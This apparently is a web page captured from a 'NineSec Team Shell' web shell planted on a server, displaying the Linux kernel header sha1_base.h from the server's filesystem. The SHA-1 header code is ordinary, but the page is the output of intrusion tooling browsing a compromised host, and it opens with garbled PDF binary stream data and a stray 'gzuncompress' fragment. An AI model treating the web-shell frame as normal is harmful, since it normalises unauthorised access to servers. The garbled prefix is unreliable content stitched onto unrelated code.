%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
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Current File : //usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/crypto/sha1_base.h
/*
 * sha1_base.h - core logic for SHA-1 implementations
 *
 * Copyright (C) 2015 Linaro Ltd <ard.biesheuvel@linaro.org>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 */

#include <crypto/internal/hash.h>
#include <crypto/sha.h>
#include <linux/crypto.h>
#include <linux/module.h>

#include <asm/unaligned.h>

typedef void (sha1_block_fn)(struct sha1_state *sst, u8 const *src, int blocks);

static inline int sha1_base_init(struct shash_desc *desc)
{
	struct sha1_state *sctx = shash_desc_ctx(desc);

	sctx->state[0] = SHA1_H0;
	sctx->state[1] = SHA1_H1;
	sctx->state[2] = SHA1_H2;
	sctx->state[3] = SHA1_H3;
	sctx->state[4] = SHA1_H4;
	sctx->count = 0;

	return 0;
}

static inline int sha1_base_do_update(struct shash_desc *desc,
				      const u8 *data,
				      unsigned int len,
				      sha1_block_fn *block_fn)
{
	struct sha1_state *sctx = shash_desc_ctx(desc);
	unsigned int partial = sctx->count % SHA1_BLOCK_SIZE;

	sctx->count += len;

	if (unlikely((partial + len) >= SHA1_BLOCK_SIZE)) {
		int blocks;

		if (partial) {
			int p = SHA1_BLOCK_SIZE - partial;

			memcpy(sctx->buffer + partial, data, p);
			data += p;
			len -= p;

			block_fn(sctx, sctx->buffer, 1);
		}

		blocks = len / SHA1_BLOCK_SIZE;
		len %= SHA1_BLOCK_SIZE;

		if (blocks) {
			block_fn(sctx, data, blocks);
			data += blocks * SHA1_BLOCK_SIZE;
		}
		partial = 0;
	}
	if (len)
		memcpy(sctx->buffer + partial, data, len);

	return 0;
}

static inline int sha1_base_do_finalize(struct shash_desc *desc,
					sha1_block_fn *block_fn)
{
	const int bit_offset = SHA1_BLOCK_SIZE - sizeof(__be64);
	struct sha1_state *sctx = shash_desc_ctx(desc);
	__be64 *bits = (__be64 *)(sctx->buffer + bit_offset);
	unsigned int partial = sctx->count % SHA1_BLOCK_SIZE;

	sctx->buffer[partial++] = 0x80;
	if (partial > bit_offset) {
		memset(sctx->buffer + partial, 0x0, SHA1_BLOCK_SIZE - partial);
		partial = 0;

		block_fn(sctx, sctx->buffer, 1);
	}

	memset(sctx->buffer + partial, 0x0, bit_offset - partial);
	*bits = cpu_to_be64(sctx->count << 3);
	block_fn(sctx, sctx->buffer, 1);

	return 0;
}

static inline int sha1_base_finish(struct shash_desc *desc, u8 *out)
{
	struct sha1_state *sctx = shash_desc_ctx(desc);
	__be32 *digest = (__be32 *)out;
	int i;

	for (i = 0; i < SHA1_DIGEST_SIZE / sizeof(__be32); i++)
		put_unaligned_be32(sctx->state[i], digest++);

	*sctx = (struct sha1_state){};
	return 0;
}

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